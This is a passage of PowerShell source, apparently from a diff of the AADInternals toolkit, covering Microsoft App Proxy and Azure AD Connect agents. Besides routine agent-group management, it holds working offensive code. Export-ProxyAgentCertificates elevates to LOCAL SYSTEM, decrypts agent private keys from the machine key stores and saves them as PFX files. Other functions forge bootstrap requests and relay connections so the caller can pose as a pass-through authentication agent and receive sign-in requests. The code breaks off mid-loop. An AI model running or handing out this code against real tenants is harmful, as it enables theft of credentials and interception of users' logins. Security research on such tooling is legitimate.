$agents = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('$type')/agents" -Method Get -Headers $headers -ErrorAction SilentlyContinue
# Return
if($agents)
{
$agents.value
}
}
}
}
# Gets list of agent groups
# Apr 6th 2020
function Get-ProxyAgentGroups
{
<#
.SYNOPSIS
Lists MS App Proxy agent groups
.DESCRIPTION
Lists MS App Proxy agent groups
.Example
Get-AADIntAgentProxyGroups
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
ConfigurationDisplayName : company.com
ConfigurationResourceName : company.com
ConfigurationPublishingType : provisioning
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
publishingType : provisioning
isDefault : False
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Get-AADIntProxyGroups -AccessToken $pt
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
ConfigurationDisplayName : company.com
ConfigurationResourceName : company.com
ConfigurationPublishingType : provisioning
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
publishingType : provisioning
isDefault : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
# Get the tenant id and instance id from the certificate
$TenantId = Get-TenantID -AccessToken $AccessToken
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-gateway-serviceRoot" =""
}
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups?`$expand=agents" -Method Get -Headers $headers
# return
$response.value
}
}
# Gets the list of proxy configurations
#function Get-ProxyConfigurations
# Creates a new proxy agent group
# Apr 6th 2020
function New-ProxyAgentGroup
{
<#
.SYNOPSIS
Creates an MS App Proxy agent group
.DESCRIPTION
Creates an MS App Proxy agent group
.Example
Get-AADIntAgentProxyGroups
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
ConfigurationDisplayName : company.com
ConfigurationResourceName : company.com
ConfigurationPublishingType : provisioning
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
publishingType : provisioning
isDefault : False
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Get-AADIntProxyGroups -AccessToken $pt
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
ConfigurationDisplayName : company.com
ConfigurationResourceName : company.com
ConfigurationPublishingType : provisioning
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
publishingType : provisioning
isDefault : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DisplayName,
[Parameter(Mandatory=$True)]
[String]$ConfigurationDisplayName,
[Parameter(Mandatory=$True)]
[String]$ConfigurationResourceName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
# Get the tenant id and instance id from the certificate
$TenantId = Get-TenantID -AccessToken $AccessToken
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-gateway-serviceRoot" =""
"Content-Type" = "application/json"
}
# First, create the agent group with the given name
$Body = "{""displayName"":""$DisplayName""}"
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups" -Method POST -Headers $headers -Body $Body
$Body = "{""displayName"":""$ConfigurationDisplayName"",""resourceName"":""$ConfigurationResourceName"",""agentGroups"":[{""id"":""$($response.id)""}]}"
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/publishedResources" -Method POST -Headers $headers -Body $Body
# Extract the information and create the return value
$attributes=[ordered]@{}
$attributes["id"]=$response.id
$attributes["displayName"]=$response.displayName
$attributes["publishingType"]=$response.publishingType
$attributes["isDefault"]=$response.isDefault
$attributes["ConfigurationId"]=$response2.id
$attributes["ConfigurationDisplayName"]=$response2.displayName
$attributes["ConfigurationResourceName"]=$response2.resourceName
$attributes["ConfigurationPublishingType"]=$response2.publishingType
# return
New-Object PSObject -Property $attributes
}
}
# Adds the given agent to given group
# Apr 7th 2020
function Add-ProxyAgentToGroup
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$Agent,
[Parameter(Mandatory=$True)]
[guid]$Group
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
# Get the tenant id and instance id from the certificate
$TenantId = Get-TenantID -AccessToken $AccessToken
$body="{""@odata.id"":""https://$TenantId.admin.msappproxy.net:443/onPremisesPublishingProfiles('provisioning')/agentGroups('$($Group.toString())')""}"
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-gateway-serviceRoot" =""
"Content-Type" = "application/json"
}
Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agents('$($Agent.toString())')/agentGroups/`$ref" -Method Post -Headers $headers -Body $body
Write-Host "Agent ($($Agent.toString())) added to group ($($Group.toString()))"
}
}
# Export proxy agent certificates from the local computer
# Mar 8th 2022
# Aug 17th 2022: Added support for exporting from NETWORK SERVICE personal store
function Export-ProxyAgentCertificates
{
<#
.SYNOPSIS
Export certificates of all MS App Proxy agents from the local computer.
.DESCRIPTION
Export certificates of all MS App Proxy agents from the local computer.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Export-AADIntProxyAgentCertificates
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
.Example
Export-AADIntProxyAgentCertificates -GetBootstrap
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
Bootstrap saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.xml
#>
[cmdletbinding()]
Param(
[Switch]$GetBootstrap
)
Process
{
# Get all certificates from LocalMachine Personal store
$certificates = @(Get-Item Cert:\LocalMachine\My\*)
# Internal function to parse PTA & Provisioning agent configs
function Parse-ConfigCert
{
[cmdletbinding()]
Param(
[String]$ConfigPath
)
Process
{
# Check if we have a PTA or provisioning agent configuration and get the certificate if stored in NETWORK SERVICE personal store
[xml]$trustConfig = Get-Content "$env:ProgramData\Microsoft\$ConfigPath\Config\TrustSettings.xml" -ErrorAction SilentlyContinue
if($trustConfig)
{
$thumbPrint = $trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint
# Check where the certificate is stored
if($trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore.ToLower().equals("true"))
{
# Certificate is stored in NETWORK SERVICE personal store so we need to parse it from there
Write-Verbose "Parsing certificate: $($thumbPrint)"
Parse-CertBlob -Data (Get-BinaryContent "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\$thumbPrint")
}
}
}
}
if($PTACert = Parse-ConfigCert -ConfigPath "Azure AD Connect Authentication Agent")
{
$binCert = $PTACert.DER
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
$PTAKeyName = $PTACert.KeyName
$certificates += $certificate
}
if($ProvCert = Parse-ConfigCert -ConfigPath "Azure AD Connect Provisioning Agent")
{
$binCert = $ProvCert.DER
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
$ProvKeyName = $ProvCert.KeyName
$certificates += $certificate
}
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
foreach($certificate in $certificates)
{
Write-Verbose "Reading certificate: $($certificate.Thumbprint)"
foreach($ext in $Certificate.Extensions)
{
# Check the agent Id OID exist
if($ext.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
# Extract agent and tenant IDs
$agentId = [guid] $ext.RawData
$tenantId = [guid] $certificate.Subject.Split("=")[1]
Write-Verbose " Tenant Id: $tenantId, Agent Id: $agentId"
# Get the certificate
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the key blob and decrypt the keys
if($PTACert)
{
# If stored in NETWORK SERVICE store, PTA Agent's key name can't be readed from the certificate
$keyName = $PTAKeyName
}
elseif($ProvCert)
{
# If stored in NETWORK SERVICE store, Provisioning Agent's key name can't be readed from the certificate
$keyName = $ProvKeyName
}
else
{
# Read the key name from the certificate
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
}
# Discard trailing null, cr, lf
$keyName = $keyName.trimEnd(@(0x00,0x0a,0x0d))
$paths = @(
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
"$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-20\$keyName"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($keyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine}
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt -LocalMachine}
default { throw "Unsupported key blob type" }
}
# Save to pfx file
$fileName = "$(Get-ComputerName -FQDN)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).pfx"
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters ($privateKey.RSAParameters) -X509Certificate $binCert)
Write-Host "Certificate saved to: $fileName"
if($GetBootstrap)
{
try
{
$bootStrap = Get-BootstrapConfiguration -MachineName (Get-ComputerName -FQDN) -Certificate (Load-Certificate -FileName $fileName)
$bootStrapFileName = "$(Get-ComputerName -FQDN)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).xml"
Set-Content $bootStrapFileName -Value $bootStrap
Write-Host "Bootstrap saved to: $bootStrapFileName"
}
catch
{
Write-Warning "Could not get bootstrap using certificate $($certificate.Thumbprint)!"
}
}
break
}
}
}
}
}
+802
View File
@@ -0,0 +1,802 @@
# This file contains utility functions related to Microsoft App Proxy
# Get's bootstrap configuration
# Apr 2nd 2020
function Get-BootstrapConfiguration
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
# Get the tenant id and instance id from the certificate
$TenantId = $Certificate.Subject.Split("=")[1]
$InstanceID = [guid]$Certificate.GetSerialNumberString()
# Actually, it is not the serial number but this oid for Private Enterprise Number. Microsoft = 1.3.6.1.4.1.311
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
}
}
$OSLanguage="1033"
$OSLocale="0409"
$OSSku="8"
$OSVersion="10.0.17763"
$AgentSdkVersion="1.5.1318.0"
$AgentVersion="1.1.96.0"
$body=@"
<BootstrapRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.SignalerDataModel" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AgentSdkVersion>$AgentSdkVersion</AgentSdkVersion>
<AgentVersion>$AgentVersion</AgentVersion>
<BootstrapDataModelVersion>$AgentSdkVersion</BootstrapDataModelVersion>
<ConnectorId>$InstanceId</ConnectorId>
<ConnectorVersion>$AgentSdkVersion</ConnectorVersion>
<ConsecutiveFailures>0</ConsecutiveFailures>
<CurrentProxyPortResponseMode>Primary</CurrentProxyPortResponseMode>
<FailedRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<InitialBootstrap>true</InitialBootstrap>
<IsProxyPortResponseFallbackDisabledFromRegistry>true</IsProxyPortResponseFallbackDisabledFromRegistry>
<LatestDotNetVersionInstalled>461814</LatestDotNetVersionInstalled>
<MachineName>$machineName</MachineName>
<OperatingSystemLanguage>$OSLanguage</OperatingSystemLanguage>
<OperatingSystemLocale>$OSLocale</OperatingSystemLocale>
<OperatingSystemSKU>$OSSku</OperatingSystemSKU>
<OperatingSystemVersion>$OSVersion</OperatingSystemVersion>
<PerformanceMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<ProxyDataModelVersion>$AgentSdkVersion</ProxyDataModelVersion>
<RequestId>$((New-Guid).ToString())</RequestId>
<SubscriptionId>$TenantId</SubscriptionId>
<SuccessRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
<TriggerErrors/>
<UpdaterStatus>Running</UpdaterStatus>
<UseServiceBusTcpConnectivityMode>false</UseServiceBusTcpConnectivityMode>
<UseSpnegoAuthentication>false</UseSpnegoAuthentication>
</BootstrapRequest>
"@
$url="https://$TenantId.bootstrap.msappproxy.net/ConnectorBootstrap"
try
{
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $Certificate -Body $body -ContentType "application/xml; charset=utf-8"
}
catch
{
Write-Error "Could not get bootstrap. Expired certificate ($($Certificate.Thumbprint)) or invalid agent ($InstanceID)?"
return $null
}
[xml]$xmlResponse = $response.Content
return $xmlResponse.OuterXml
}
}
# Creates a CSR from the scratch
# Apr 2nd 2020
function NewCSRforSync
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$True)]
[byte[]]$PublicKey
)
process
{
$osVersion="6.2.9200.2"
$ADadminUser ="NotYourBusiness!!"
$exeName = "AADConnectProvisioningAgentWizard.exe"
$pksha1=[System.Security.Cryptography.SHA1CryptoServiceProvider]::new().ComputeHash($PublicKey)
# Construct the CSR for signin
$CSRToBeSigned=@(
Add-DERSequence -Data @(
Add-DERInteger -Data 0
0x30, 0x00
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# rsaEncryption (1.2.840.113549.1.1.1)
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01
)
0x05, 0x00 # Null
)
Add-DERTag -Tag 0x03 -Data @( # BitString
0x00
$PublicKey
)
)
Add-DERTag -Tag 0xA0 -Data @( # Context specific (block #0)
# Attributes: osVersion
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# osVersion (1.3.6.1.4.1.311.13.2.3)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x03
)
Add-DERSet -Data @( # SET
Add-DERIA5String -Text $osVersion
)
)
# Extension Request
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# extensionRequest (1.2.840.113549.1.9.14)
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x0E
)
Add-DERSet -Data @(
Add-DERSequence -Data @(
# Key Usage
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x55, 0x1D, 0x0F # keyUsage (2.5.29.15)
)
Add-DERTag 0x01 -Data @(0xFF) # Boolean (true)
Add-DERTag 0x04 -Data @(0x03, 0x02, 0x04, 0xF0) # Octet string
)#
# Ext Key Usage
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x55, 0x1D, 0x25 # extKeyUsage (2.5.29.37)
)
Add-DERTag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02 # clientAuth (1.3.6.1.5.5.7.3.2)
)
)
)
)
# Subject Key Identifier
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # subjectKeyIdentifier (2.5.29.14)
0x55, 0x1D, 0x0E
)
Add-DERTag 0x04 -Data @( # Octet string
0x04, 0x14#, 0xEB, 0x4F, 0xD9, 0xFF, 0x3A, 0x20, 0xA9, 0xDB, 0x63, 0xBA, 0x50, 0x2A, 0xF1, 0x5B, 0x96, 0x5F, 0x5C, 0x3C, 0xCD, 0xF4
$pksha1
)
)
)
)
)
# Request Client Info
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# requestClientInfo (1.3.6.1.4.1.311.21.20)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x14
)
Add-DERSet -Data @( # Set
Add-DERSequence -Data @(
Add-DERInteger -Data 0x05
Add-DERUtf8String -Tag 0x0C -Text $machineName
Add-DERUtf8String -Tag 0x0C -Text $ADadminUser
Add-DERUtf8String -Tag 0x0C -Text $exeName
)
)
)
# Enrolment CSP
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
# enrolmentCSP (1.3.6.1.4.1.311.13.2.2)
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x02
)
Add-DERSet -Data @(
Add-DERSequence -Data @(
Add-DERInteger 0x01
Add-DERUnicodeString -Tag 0x1E "Microsoft Enhanced RSA and AES Cryptographic Provider" -LE
Add-DERTag -Tag 0x03 -Data 0x00 # Bit string
)
)
)
)
)
)
# Sign the CSR
$signature = $rsa.SignData($CSRToBeSigned, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Construct the CSR
$CSR = Add-DERSequence -Data @(
$CSRToBeSigned
Add-DERSequence -Data @(
Add-DERTag -Tag 0x06 -Data @(
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B
)
0x05, 0x00 # null
)
Add-DERTag -Tag 0x03 -Data @(
0x00
$signature
)
)
# return
return $CSR
}
}
# Connects to the given bus
function Connect-ToBus
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[PSObject]$BootStrap,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert
)
Process
{
# Import AMQP.ps1
. "$PSScriptRoot\AMQP.ps1"
# Define AMQP messages
[byte[]]$AMQP0 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x00, # Protocol
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP1 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x01, # Protcol = AMQP
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP2 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x02, # Protcol = TCP
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$AMQP3 = @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x03, # Protocol = SASL
0x01, # Major
0x00, # Minor
0x00) # Revision
[byte[]]$EmptyAMQPHeader = @(0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00)
Try
{
# Define some needed variables
$NameSpace = $bootStrap.NameSpace
$url = "$nameSpace.servicebus.windows.net/`$servicebus/websocket"
$connectionId = (New-Guid).ToString()
$relayLinkGuid = (New-Guid).ToString()
$trackingId = (New-Guid).ToString()
if($status)
{
$Status.status = "Connecting to $url"
}
else
{
Write-Verbose "Connecting to $url"
}
#$connector.Status = "Connecting to $url"
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add wsrelayedamqp as sub protocol
$socket.Options.AddSubProtocol("wsrelayedamqp")
$socket.Options.ClientCertificates.Add($cert) | out-null
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
$connection = $socket.ConnectAsync("wss://$url", $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
#
# Start the Agent
#
# Send SASL version header
SendToSocket -Socket $socket -Token $token -Bytes ($AMQP3)
# DEBUG
$relayOpened=$false
# Start the loop
while($socket.state -eq "Open")
{
$outMessage = $null
$response = ReadFromSocket -Socket $socket -Token $token -KeepAlive
$inMessage = Parse-BusMessage $response
$close = $false
switch($inMessage.Type)
{
"Protocol SASL" {} # Do nothing
"SASL Mechanisms"
{
# SASL init
$outMessage = New-SASLInit -Mechanics EXTERNAL
}
"SASL Outcome"
{
# Change protocol to AMQP
$outMessage = $AMQP0
}
"Protocol AMQP"
{
# AMQP Open
$outMessage = New-AMQPOpen -ContainerId "RelayConnection_$connectionId" -HostName "$nameSpace-relay.servicebus.windows.net"
}
"AQMP Open"
{
# AMQP Begin
$outMessage = New-AMQPBegin
}
"AQMP Begin"
{
# AMQP Attach handle 0 and 1
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 0 -RelayLinkGuid $relayLinkGuid -Direction out -BootStrap $bootStrap -TrackingID $trackingId)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 1 -RelayLinkGuid $relayLinkGuid -Direction in -BootStrap $bootStrap -TrackingID $trackingId)
$outMessage = New-AMQPFlow
}
"AQMP Attach"
{
# Nothing to do
}
"AQMP Flow"
{
# Send an empty AMQP Header
$outMessage = $EmptyAMQPHeader
if($status)
{
$Status.status += "`nWaiting for auth requests.."
}
else
{
Write-Verbose "Waiting for auth requests.."
}
}
"AQMP Detach"
{
# Send AMQP Detach
$outMessage = New-AMQPDetach -Handle ($inMessage.Handle)
Write-Verbose ($inMessage.Error)
}
"AQMP End"
{
# Send AMQP End
$outMessage = New-AMQPEnd
}
"AQMP Close"
{
# Send AMQP Close
$outMessage = New-AMQPClose
# Close the socket after sending the last message
$close = $True
# Set the status
if($status)
{
$Status.status += "`nClosed."
}
else
{
Write-Verbose "Closed."
}
}
"OnewaySend"
{
# Send the disposition message
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDisposition)
# Time to create the relay!
if($status)
{
$Status.status += "`nOpening relay to $($inMessage.RelayAddress)"
}
else
{
Write-Verbose "Opening relay to $($inMessage.RelayAddress)"
}
if(!$relayOpened)
{
$relayOpened = $true
Connect-ToAuthRelay -Hostname $inMessage.RelayAddress -Id $inMessage.RelayId -Certificate $cert
}
}
}
if($outMessage -ne $null)
{
SendToSocket -Socket $socket -Token $token -Bytes $outMessage
}
if($close)
{
$socket.Abort()
}
}
}
catch
{
$Exception = $error[0]
Write-Host $Exception -ForegroundColor Red
}
Finally{
If ($socket) {
Write-Verbose "Closing websocket"
$socket.Dispose()
}
}
}
}
# Creates a SAS token
function Get-SASToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[String]$Key,
[Parameter(Mandatory=$True)]
[String]$KeyName,
[Parameter(Mandatory=$False)]
[DateTime]$Expires=(Get-Date).AddDays(1)
)
Process
{
# Create the HMAC object
$keyBytes=[Text.Encoding]::UTF8.GetBytes($Key)
$hmac = [System.Security.Cryptography.HMACSHA256]::new($keyBytes)
# Convert to UNIX time
$exp=([System.DateTimeOffset]$Expires.ToUniversalTime()).ToUnixTimeSeconds()
# Form the string to sign (urlencoded uri + \n + expires)
$namespace = $url.split("/")[2]
$urlToSign = [System.Web.HttpUtility]::UrlEncode($url) + "`n" + [string]$exp
$byteUrl=[Text.Encoding]::UTF8.GetBytes($urlToSign)
# Calculate the signature
$byteHash = $hmac.ComputeHash($byteUrl)
$signature = [System.Convert]::ToBase64String($byteHash)
# Form the token
$SASToken = "SharedAccessSignature sr=" + [System.Web.HttpUtility]::UrlEncode($Url) + "&sig=" + [System.Web.HttpUtility]::UrlEncode($signature) + "&se=" + $exp + "&skn=" + $KeyName
return $SASToken
}
}
function Connect-ToAuthRelay
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Hostname,
[Parameter(Mandatory=$True)]
[String]$Id,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
Try
{
$url = "$Hostname/`$servicebus/websocket"
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add wsrelayedamqp as sub protocol
$socket.Options.AddSubProtocol("wsrelayedconnection")
$socket.Options.ClientCertificates.Add($Certificate) | out-null
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
$connection = $socket.ConnectAsync("wss://$url", $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
# Send the two initial messages
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayConnect)
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayAccept -id $id)
# Start the conversation loop
if($status)
{
#$Status.status += "`nSocket: $($socket.state)"
}
# Define variables
$SomeId = $null
$SequenceId = $null
$ConnectionId = New-Guid
$RelayUrl = $null
$ProxyUrl = $null
$ProxyId = $null
$SomeId2 = $null
$ConId = $null
while($socket.state -eq "Open")
{
Remove-Variable outMessage
$outMessage = $null
$response = ReadFromSocket -Socket $socket -Token $token -TimeOut
if($response -eq $null)
{
return
}
$inMessage = Parse-RelayMessage $response
if($status)
{
# $Status.status += "`n$hostname InMessage: $($inMessage.Type) $($inMessage.Size). Response: $($response.length)"
}
$close = $false
switch($inMessage.Type)
{
"Relay AcceptReply" {} # Do nothing
"Relay ConnectReply" {} # Do nothing
"Relay Name"
{
# Reply
SendToSocket -Socket $socket -Token $token -Byte (New-RelayNameReply)
}
"Relay Ids"
{
if($status)
{
$Status.status += "`nExtracting variables"
}
# Extract variables
$SomeId = $inMessage.SomeId
$SequenceId = $inMessage.SequenceId
$RelayUrl = $inMessage.Relay
if($status)
{
$Status.status += "`nSending outmessage. SomeId: $someId ConnectionId $ConnectionId SequenceId: $SequenceId Relay $RelayUrl"
}
# Reply
$outMessage = New-RelayIdsReply -SomeId $SomeId -ConnectionId $ConnectionId -Relay $RelayUrl
}
"Relay ProxyConnect"
{
# Extract variables
$ProxyUrl = $inMessage.ProxyUrl
$ProxyId = $inMessage.ProxyId
$SomeId2 = $inMessage.SomeId2
$ConId = $inMessage.ConId
$ConnectionId = $inMessage.ConnectionId
if($status)
{
$Status.status += "`nProxy. SomeId2: $someId2 SequenceId: $SequenceId ConnectionId: $ConnectionId "
}
# Reply
$outMessage = New-RelayProxyConnectReply -SequenceId $SequenceId -SomeId2 $SomeId2 -ConnectionId $ConnectionId
# Send NetRemote
SendToSocket -Socket $socket -Token $token -Bytes New-RelayNetRemote
}
"Relay NetRemoteReply"
{
# Try to connect to the proxy!
# Get the ids..
$SubscriptionId=([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName,$false)
$ConnectorId=([guid]([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString()
$url="https://$proxyUrl/subscriber/websocketconnect?requestId=$((New-Guid).ToString())"
# Create the socket
$socket2 = New-Object System.Net.WebSockets.ClientWebSocket
$socket2.options.SetRequestHeader("x-cwap-dnscachelookup-result" , "NotUsed")
$socket2.options.SetRequestHeader("x-cwap-connector-usesdefaultproxy" , "InUse")
$socket2.options.SetRequestHeader("x-cwap-connector-version" , "1.5.1542.0")
$socket2.options.SetRequestHeader("x-cwap-datamodel-version" , "1.5.1542.0")
$socket2.options.SetRequestHeader("x-cwap-connector-sp-connections" , "0")
$socket2.options.SetRequestHeader("x-cwap-transid" , $id)
$socket2.options.ClientCertificates.Add($cert)
# Create the token and open the connection
$token2 = New-Object System.Threading.CancellationToken
$connection2 = $socket2.ConnectAsync("wss://$($url.Substring(8))", $token2)
While (!$connection2.IsCompleted) { Start-Sleep -Milliseconds 5 }
if($connection2.IsFaulted -eq "True")
{
Write-Error $connection2.Exception
return
}
Write-Host "Connected to $Url" -ForegroundColor Yellow
# Send the message
$message = [text.encoding]::UTF8.GetBytes( "{`"ConnectionId`":`"$connectionId`",`"MessageType`":0}" )
SendToSocket -Socket $socket2 -Token $token -Bytes ($message)
# Loop
while($true)
{
# Get the authentication message
$response = ReadFromSocket -Socket $socket2 -Token $token2 -ArraySize 2048
# Debug -Step ($step++) -NameSpace $Hostname -Bytes $response -Direction in
